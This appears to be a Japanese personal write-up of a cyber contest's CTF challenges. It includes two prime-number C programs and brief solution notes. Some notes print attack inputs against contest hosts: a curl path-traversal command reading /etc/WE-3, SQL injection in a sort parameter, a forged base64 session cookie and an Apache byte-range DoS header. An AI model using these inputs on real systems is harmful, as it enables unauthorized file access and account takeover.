プログラミング　暗算でもできるけど

PG-2.c

#include <stdio.h>
int main(){
	int i,j,k,l;
	k=(((10/2*4/10*4/2)+97)*10)-10;
	for(i=2;i<=k;++i){
		l=0;
		for(j=2;j<i;++j){
			if(i%j==0){
				l=1;
				break;
			}
		}
		if(l==0)printf("%d\r\n",i);
	}
	return 0;
}

$ gcc -o aaa PG-2.c
$ ./aaa | head -10
2
3
5
7
11
13
17
19
23
29

当日は、OSINT問題として解いてしまったので、プログラミングと向き合う

PG-2_kai.c

#include <stdio.h>
int main(){
	int i,j,k,l,m,ans;
    m=0;
    k=100000000;
	for(i=2;i<=k;++i){
		l=0;
		for(j=2;j<i;++j){
			if(i%j==0){
				l=1;
				break;
			}
		}
    	if(l==0){
            m++;
    	    if(m==68){
                ans = i;
    	    }
    	    if(m==314){
    	    	ans = ans + i;
    	    	printf("%d\r\n",ans);
                break;
    	    }
    	}
	}
	return 0;
}

$ gcc -o aaa PG-2_kai.c
$ ./aaa 
2420

プログラミング　formjacking

目grepすると、 +'&exp-date='　や　+'&cvc= などが見えるので、クレジットカード情報を送信してる場所は何となくわかるが。。。

難読化されている Javascript を

で可読化する。

https://pg3.2025winter-cybercontest.net/pg3?cardnumber=1&exp-date=1&cvc=1&Skimming=true

にアクセスするとフラグがとれたらしい。

こっち　↓はよくわからん

ネットワーク　3 Way Handshake

攻撃されている 192.168.123.115 でフィルタし、 SYN+ACKっを返しているパケットを検索し、空いているポートを特定。

特定したポートは、CyberCheffでソートした

ネットワーク　さあ得点は？

Range: bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10

をぐぐると、apache_byte_range_server_dos.phpなどから CVE-2011-3192 とわかる。

あとは　CVE-2011-3192 mitre　と本家をググり、

Learn more at National Vulnerability Database (NVD)のリンクをクリックすれば CVSS2.0の数値がわかる。

ネットワーク decode

WireSharkにまとめてドロップできることを知らなかった。

ただし、まとめてドロップしても、httpでエクスポートできるのは、猫だけだった。

TCPストリームを

ストリーム番号をずらしながら緻密に追跡すると、ストリーム番号=12でネコの写真とは思えないbase64に出会うので、答えと確信できる。

Web 簡単には見せません

robots.txt のクロールを禁止設定

Disallow:/red/
Disallow:/gold/
Disallow:/blue/

から、フォルダ構成を認知し、アクセスしてたどり着くという流れ。

Web　整列！

ID Data flagSeqの列があり、flagSeq順に並べると、Dataにフラグが見えそうだが、}が無く、途中で切れている

ID カラムに存在している Up ボタンを押すと、?sort=id+ASC にリダイレクトされ、IDの昇順になる

?sort=id+ASC

を

?sort=flagSeq+ASC#

または

?sort=flagSeq+ASC--

にして、flagSeq順に並べ　LIMITをコメント化する

Web　直してる最中なんです

/etc/WE-3にフラグがあるらしいので、パストラバーサル問題を疑う。

<!-- <button onClick="dlFIle('WE-3-01')">ダウンロード</button> -->

function dlFIle(file){
	var dataS = 'fName=' + file;
	var xhr = new XMLHttpRequest();
	xhr.open('POST','/secret/download.php');
	xhr.send(dataS);
	xhr.onload = function() {
		var strS = xhr.responseText;
	};
}

↑こんなのが見つかるので、

┌──(kali㉿kali)-[~]
└─$ curl -X POST --data-urlencode 'fName=../../../../../../etc/WE-3' https://we3-prod.2025winter-cybercontest.net/secret/download.php
flag{fGrantUB56skBTlmF14mostFP}

Web　直接聞いてみたら？

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn1d

を送信したら

[["name","BLACK SMITH"]]

が返ってくる

W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn1dをデコードすると

[{"name":"name","value":"on"}]

[{"name":"flag","value":"on"}]をBase64して送信すれば、フラグがとれそう

フォレンジック　露出禁止

192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281

base64でデコードすると1722312417,3,user3と当時のセッション有効期限ぽいのがあるので、

1738494799,6,user1

をbase64して送った

フォレンジック　成功の証

FTPでブルートフォースしてる

フォレンジック　犯人はこの中にいる！

グローバルアドレスっぽい 59.214.32.56 からポートスキャンが行われている

MACアドレスは、00:0c:29:4d:c2:33

フィルタすると、同じMACアドレスのローカルIPアドレスがある。

フォレンジック　InSecureApk

MainActivityを追う

入力値は16文字が正解
"VUSTIq@H~]wGSBVH" = SecretGenerater.decode(入力値)

SecretGenerater.decode関数はどこ？

native関数「checkNative」へたらいまわし

を Ghidoraで解析

checkNativeたしかに存在

入力値を0923200802022025とxorしてる

"VUSTIq@H~]wGSBVH" = "0923200802022025" ^ 入力値

トリビア　排他的論理和

compare ^ pattern3　でフラグが見える

フラグの中身は　IPアドレス　なのでそれっぽくなるか確認

なった。